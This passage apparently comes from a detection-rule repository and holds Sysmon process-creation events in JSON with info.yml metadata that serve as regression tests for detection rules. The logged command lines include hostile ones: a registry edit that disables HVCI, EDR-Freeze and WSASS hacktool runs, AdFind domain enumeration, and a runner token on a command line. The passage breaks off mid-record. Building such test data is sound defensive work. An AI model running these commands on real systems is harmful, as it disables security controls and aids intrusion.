\"39845534-EA70-692E-18E8-080000000000\",\n \"LogonId\": \"0x8e818\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=F2D98E1A81C92345E9FB4C3A8BA80DA9,SHA256=0C90A42A6BE0078726279708539FF3275A40031BCCC6D31FCF77D0A03B6F6BBB,IMPHASH=6A91EB82BFD19D2706C7D43C46F7064E\",\n \"ParentProcessGuid\": \"39845534-EC3E-692E-AA01-000000007A00\",\n \"ParentProcessId\": 9300,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"C:\\\\Windows\\\\system32\\\\cmd.exe /c \\\"\\\"C:\\\\Users\\\\Lab\\\\Downloads\\\\actions-runner\\\\config.cmd\\\" --url https://github.com/Koifman/shaihulud --token ACJKO5TZBN2V54V7WQEQMMLJF34ZQ\\\"\",\n \"ParentUser\": \"SUPPORTHUB\\\\Lab\"\n }\n }\n}\n{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-02T13:40:43.642304Z\"\n }\n },\n \"EventRecordID\": 129609,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3712,\n \"ThreadID\": 5804\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"SUPPORTHUB\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-12-02 13:40:43.639\",\n \"ProcessGuid\": \"39845534-EC5B-692E-B601-000000007A00\",\n \"ProcessId\": 6588,\n \"Image\": \"C:\\\\Users\\\\Lab\\\\Downloads\\\\actions-runner\\\\bin\\\\Runner.Worker.exe\",\n \"FileVersion\": \"2.329.0.0\",\n \"Description\": \"Runner.Worker\",\n \"Product\": \"Runner.Worker\",\n \"Company\": \"Runner.Worker\",\n \"OriginalFileName\": \"Runner.Worker.dll\",\n \"CommandLine\": \"\\\"C:\\\\Users\\\\Lab\\\\Downloads\\\\actions-runner\\\\bin\\\\Runner.Worker.exe\\\" spawnclient 2076 2088\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Lab\\\\Downloads\\\\actions-runner\\\\bin\\\\\",\n \"User\": \"SUPPORTHUB\\\\Lab\",\n \"LogonGuid\": \"39845534-EA70-692E-18E8-080000000000\",\n \"LogonId\": \"0x8e818\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=B8B5BE3A38732DE389D648044B798146,SHA256=08A676AE543078E5C6163B94E17F9C38D3193A1D59E8BA94ADE43FA0BCA8312C,IMPHASH=6A91EB82BFD19D2706C7D43C46F7064E\",\n \"ParentProcessGuid\": \"39845534-EC43-692E-AF01-000000007A00\",\n \"ParentProcessId\": 7392,\n \"ParentImage\": \"C:\\\\Users\\\\Lab\\\\Downloads\\\\actions-runner\\\\bin\\\\Runner.Listener.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Users\\\\Lab\\\\Downloads\\\\actions-runner\\\\\\\\bin\\\\Runner.Listener.exe\\\" run\",\n \"ParentUser\": \"SUPPORTHUB\\\\Lab\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_github_self_hosted_runner/info.yml",
"content": "id: 94e5ba8c-3bdf-4e12-9300-f7684530d301\ndescription: Includes two process events that will match against the linked SIGMA rule for both conditions\ndate: 2025-12-02\nauthor: Daniel Koifman (KoifSec)\nrule_metadata:\n - id: 5bac7a56-da88-4c27-922e-c81e113b20cb\n title: Github Self-Hosted Runner Execution\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules/windows/process_creation/proc_creation_win_github_self_hosted_runner/5bac7a56-da88-4c27-922e-c81e113b20cb.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_gpresult_execution/e56d3073-83ff-4021-90fe-c658e0709e72.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-27T00:09:41.570583Z\"\n }\n },\n \"EventRecordID\": 33638020,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3380,\n \"ThreadID\": 4420\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-27 00:09:41.563\",\n \"ProcessGuid\": \"5AA13A44-B845-68FE-3702-000000004102\",\n \"ProcessId\": 9004,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\gpresult.exe\",\n \"FileVersion\": \"10.0.20348.4163 (WinBuild.160101.0800)\",\n \"Description\": \"Query Group Policy RSOP Data\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"gprslt.exe\",\n \"CommandLine\": \"gpresult /z\",\n \"CurrentDirectory\": \"C:\\\\Program Files\\\\DTrace\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-B54F-68FE-E547-0C0000000000\",\n \"LogonId\": \"0xc47e5\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=84DBEACB152615177EB5EE2AC4735B75186BC28F,MD5=80B679C92D709FF93DF2400966A5C183,SHA256=09F58BF0E2D334AAA7410AB613E71F4D1FD346ABEF010423020BD6C3A6C20195,IMPHASH=C853AD8534AC03E7AD69F32A5B0B1625\",\n \"ParentProcessGuid\": \"5AA13A44-B6AD-68FE-FC01-000000004102\",\n \"ParentProcessId\": 10508,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_gpresult_execution/info.yml",
"content": "id: f0e9da0c-c305-4bcb-89e5-79621d0ba6d2\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: e56d3073-83ff-4021-90fe-c658e0709e72\n title: Gpresult Display Group Policy Information\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules/windows/process_creation/proc_creation_win_gpresult_execution/e56d3073-83ff-4021-90fe-c658e0709e72.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_hh_chm_execution/68c8acb4-1b60-4890-8e82-3ddf7a6dba84.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-27T00:11:22.294854Z\"\n }\n },\n \"EventRecordID\": 33639600,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3380,\n \"ThreadID\": 4420\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-27 00:11:22.292\",\n \"ProcessGuid\": \"5AA13A44-B8AA-68FE-3F02-000000004102\",\n \"ProcessId\": 7784,\n \"Image\": \"C:\\\\Windows\\\\hh.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Microsoft® HTML Help Executable\",\n \"Product\": \"HTML Help\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"HH.exe\",\n \"CommandLine\": \"\\\"C:\\\\Windows\\\\hh.exe\\\" C:\\\\Windows\\\\IME\\\\IMETC\\\\HELP\\\\IMTCTC14.CHM\",\n \"CurrentDirectory\": \"C:\\\\Windows\\\\IME\\\\IMETC\\\\HELP\\\\\",\n \"User\": \"ATTACKRANGE\\\\Administrator\",\n \"LogonGuid\": \"5AA13A44-B54F-68FE-E547-0C0000000000\",\n \"LogonId\": \"0xc47e5\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=641EF54FAECFA4E912DB88075FD25AABDB233A79,MD5=44A6B0A791E00D169EC0FFCFF0A17EB3,SHA256=39811F6070E82E9AA67A4D3E6153A7CD70519DBBAC36067157C573E2F736AA9E,IMPHASH=D3D9C3E81A404E7F5C5302429636F04C\",\n \"ParentProcessGuid\": \"5AA13A44-B55F-68FE-1A01-000000004102\",\n \"ParentProcessId\": 8100,\n \"ParentImage\": \"C:\\\\Program Files\\\\Everything\\\\Everything.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Program Files\\\\Everything\\\\Everything.exe\\\" -startup\",\n \"ParentUser\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_hh_chm_execution/info.yml",
"content": "id: 627bc1e3-7961-4d77-96df-915627f8c3fc\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 68c8acb4-1b60-4890-8e82-3ddf7a6dba84\n title: HH.EXE Execution\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules/windows/process_creation/proc_creation_win_hh_chm_execution/68c8acb4-1b60-4890-8e82-3ddf7a6dba84.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_hktl_edr_freeze/c598cc0c-9e70-4852-b9eb-8921af79f598.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-11-27T08:12:45.123135Z\"\n }\n },\n \"EventRecordID\": 733841,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3544,\n \"ThreadID\": 4264\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-11-27 08:12:45.093\",\n \"ProcessGuid\": \"0197231E-07FD-6928-290C-000000000D00\",\n \"ProcessId\": 9388,\n \"Image\": \"C:\\\\Users\\\\xodih\\\\Downloads\\\\EDRFreeze-gnu.exe\",\n \"FileVersion\": \"-\",\n \"Description\": \"-\",\n \"Product\": \"-\",\n \"Company\": \"-\",\n \"OriginalFileName\": \"-\",\n \"CommandLine\": \"EDRFreeze-gnu.exe 3472 10000\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\xodih\\\\Downloads\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-B736-6923-B25C-3B0000000000\",\n \"LogonId\": \"0x3b5cb2\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=67582B0B646E9E23846A8A9D9E412DCFABC0CCA0,MD5=A3BE334229BEBE056335780502747595,SHA256=0502C36D1F146A6B6BE31F7D7D65FEEF96A3FB3F3743DFFC38BB47AE426849F3,IMPHASH=AB8BB31EDD91D2A05FE7B62A535E9EB7\",\n \"ParentProcessGuid\": \"0197231E-CC5A-6927-B80A-000000000D00\",\n \"ParentProcessId\": 4952,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\WINDOWS\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_hktl_edr_freeze/info.yml",
"content": "id: f668b689-59c5-41a7-bc0b-22168d3df14e\ndescription: N/A\ndate: 2025-11-27\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: c598cc0c-9e70-4852-b9eb-8921af79f598\n title: Hacktool - EDR-Freeze Execution\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules/windows/process_creation/proc_creation_win_hktl_edr_freeze/c598cc0c-9e70-4852-b9eb-8921af79f598.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_hktl_wsass/589ac73f-8e12-409c-964e-31a2f5775ae2.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-11-27T07:57:32.087108Z\"\n }\n },\n \"EventRecordID\": 676334,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3544,\n \"ThreadID\": 4264\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-11-27 07:57:32.080\",\n \"ProcessGuid\": \"0197231E-046C-6928-150C-000000000D00\",\n \"ProcessId\": 7088,\n \"Image\": \"C:\\\\Users\\\\Public\\\\wsass\\\\WSASS.exe\",\n \"FileVersion\": \"-\",\n \"Description\": \"-\",\n \"Product\": \"-\",\n \"Company\": \"-\",\n \"OriginalFileName\": \"-\",\n \"CommandLine\": \"WSASS.exe WerFaultSecure.exe 860\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Public\\\\wsass\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-B736-6923-B25C-3B0000000000\",\n \"LogonId\": \"0x3b5cb2\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=63AF15DCCB5CA8704918B7A8BFD0308726B2D7FD,MD5=D7A969E5A3636BF8FC9CA8A72021BFDC,SHA256=0977C9337EC1215C48A666464AFDA5C9A30CD24999A5F8E821E672991864A74C,IMPHASH=32F5095C9BBDCACF28FD4060EB4DFC42\",\n \"ParentProcessGuid\": \"0197231E-0250-6928-D30B-000000000D00\",\n \"ParentProcessId\": 11640,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\WINDOWS\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_hktl_wsass/info.yml",
"content": "id: e3ffac4e-8507-43f9-9542-4c9f10f49d3a\ndescription: N/A\ndate: 2025-11-27\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 589ac73f-8e12-409c-964e-31a2f5775ae2\n title: HackTool - WSASS Execution\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules/windows/process_creation/proc_creation_win_hktl_wsass/589ac73f-8e12-409c-964e-31a2f5775ae2.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_hvci_registry_tampering/6225c53a-a96e-4235-b28f-8d7997cd96eb.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-23T02:25:20.222853Z\"\n }\n },\n \"EventRecordID\": 90965,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3320,\n \"ThreadID\": 4216\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-12-23 02:25:20.191\",\n \"ProcessGuid\": \"0197231E-FD90-6949-5110-000000000D00\",\n \"ProcessId\": 10104,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\reg.exe\",\n \"FileVersion\": \"10.0.26100.5074 (WinBuild.160101.0800)\",\n \"Description\": \"Registry Console Tool\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"reg.exe\",\n \"CommandLine\": \"reg.exe add \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\DeviceGuard\\\\Scenarios\\\\HypervisorEnforcedCodeIntegrity\\\" /v \\\"Enabled\\\" /t REG_DWORD /d 0 /f\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\xodih\\\\Downloads\\\\Sysmon\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-5032-6940-AAE2-070000000000\",\n \"LogonId\": \"0x7e2aa\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"MD5=CE3B3DCB08556285C0FC73B7CDC1601D,SHA256=08B28258C2225574FE6359286B5D23B19F07BD39CEE04B72ED5CF7A8B7FBF9F3,IMPHASH=8E5CDA80916A6EB4EC8151EC790ED9F0\",\n \"ParentProcessGuid\": \"0197231E-FB8C-6949-2310-000000000D00\",\n \"ParentProcessId\": 22176,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\WINDOWS\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_hvci_registry_tampering/info.yml",
"content": "id: 7c72394d-cb39-4d53-836a-ebc524ee1685\ndescription: N/A\ndate: 2025-12-23\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 6225c53a-a96e-4235-b28f-8d7997cd96eb\n title: Hypervisor-protected Code Integrity (HVCI) Related Registry Tampering Via CommandLine\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_hvci_registry_tampering/6225c53a-a96e-4235-b28f-8d7997cd96eb.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_pua_adfind_enumeration/455b9d50-15a1-4b99-853f-8d37655a4c1b.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-23T09:37:40.974119Z\"\n }\n },\n \"EventRecordID\": 650014,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3076,\n \"ThreadID\": 4936\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"srv-01.midgardnet.tech\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-23 09:37:40.972\",\n \"ProcessGuid\": \"14207D89-F764-68F9-2410-000000003F02\",\n \"ProcessId\": 4316,\n \"Image\": \"C:\\\\Users\\\\SwachchhandaP\\\\Downloads\\\\AdFind\\\\AdFind.exe\",\n \"FileVersion\": \"1.62.0.6172\",\n \"Description\": \"-\",\n \"Product\": \"AdFind\",\n \"Company\": \"www.joeware.net\",\n \"OriginalFileName\": \"AdFind.exe\",\n \"CommandLine\": \"AdFind.exe -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\SwachchhandaP\\\\Downloads\\\\AdFind\\\\\",\n \"User\": \"MIDGARDNET\\\\SwachchhandaP\",\n \"LogonGuid\": \"14207D89-91E6-68F9-0F94-460000000000\",\n \"LogonId\": \"0x46940f\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=B0C4A9C1D8C4641A161B3DBF111454DF,SHA256=484DD00E85C033FBFD506B956AC0ACD29B30F239755ED753A2788A842425B384,IMPHASH=680DAD9E300346E05A85023965867201\",\n \"ParentProcessGuid\": \"14207D89-F57C-68F9-D70F-000000003F02\",\n \"ParentProcessId\": 6488,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"MIDGARDNET\\\\SwachchhandaP\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_pua_adfind_enumeration/info.yml",
"content": "id: de5c7702-3eb3-41be-ae33-b36a6f13d985\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 455b9d50-15a1-4b99-853f-8d37655a4c1b\n title: PUA - Suspicious ActiveDirectory Enumeration Via AdFind.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_pua_adfind_enumeration/455b9d50-15a1-4b99-853f-8d37655a4c1b.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_pua_adfind_execution/514e7e3e-b3b4-4a67-af60-be20f139198b.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-23T09:30:03.278177Z\"\n }\n },\n \"EventRecordID\": 649847,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3076,\n \"ThreadID\": 4936\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"srv-01.midgardnet.tech\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-23 09:30:03.253\",\n \"ProcessGuid\": \"14207D89-F59B-68F9-DB0F-000000003F02\",\n \"ProcessId\": 6504,\n \"Image\": \"C:\\\\Users\\\\SwachchhandaP\\\\Downloads\\\\AdFind\\\\AdFind.exe\",\n \"FileVersion\": \"1.62.0.6172\",\n \"Description\": \"-\",\n \"Product\": \"AdFind\",\n \"Company\": \"www.joeware.net\",\n \"OriginalFileName\": \"AdFind.exe\",\n \"CommandLine\": \"AdFind.exe -f (objectcategory=person)\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\SwachchhandaP\\\\Downloads\\\\AdFind\\\\\",\n \"User\": \"MIDGARDNET\\\\SwachchhandaP\",\n \"LogonGuid\": \"14207D89-91E6-68F9-0F94-460000000000\",\n \"LogonId\": \"0x46940f\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=B0C4A9C1D8C4641A161B3DBF111454DF,SHA256=484DD00E85C033FBFD506B956AC0ACD29B30F239755ED753A2788A842425B384,IMPHASH=680DAD9E300346E05A85023965867201\",\n \"ParentProcessGuid\": \"14207D89-F57C-68F9-D70F-000000003F02\",\n \"ParentProcessId\": 6488,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"MIDGARDNET\\\\SwachchhandaP\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_pua_adfind_execution/info.yml",
"content": "id: c02bbff9-3d3b-4b4b-a6f5-8c2f4cbb60ad\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 514e7e3e-b3b4-4a67-af60-be20f139198b\n title: PUA - AdFind.EXE Execution\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_pua_adfind_execution/514e7e3e-b3b4-4a67-af60-be20f139198b.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_pua_adfind_susp_usage/9a132afa-654e-11eb-ae93-0242ac130002.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-23T11:32:08.872401Z\"\n }\n },\n \"EventRecordID\": 651803,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3076,\n \"ThreadID\": 4936\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"srv-01.midgardnet.tech\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-23 11:32:08.871\",\n \"ProcessGuid\": \"14207D89-1238-68FA-4A13-000000003F02\",\n \"ProcessId\": 8080,\n \"Image\": \"C:\\\\Users\\\\SwachchhandaP\\\\Downloads\\\\AdFind\\\\AdFind.exe\",\n \"FileVersion\": \"1.62.0.6172\",\n \"Description\": \"-\",\n \"Product\": \"AdFind\",\n \"Company\": \"www.joeware.net\",\n \"OriginalFileName\": \"AdFind.exe\",\n \"CommandLine\": \"AdFind.exe -s 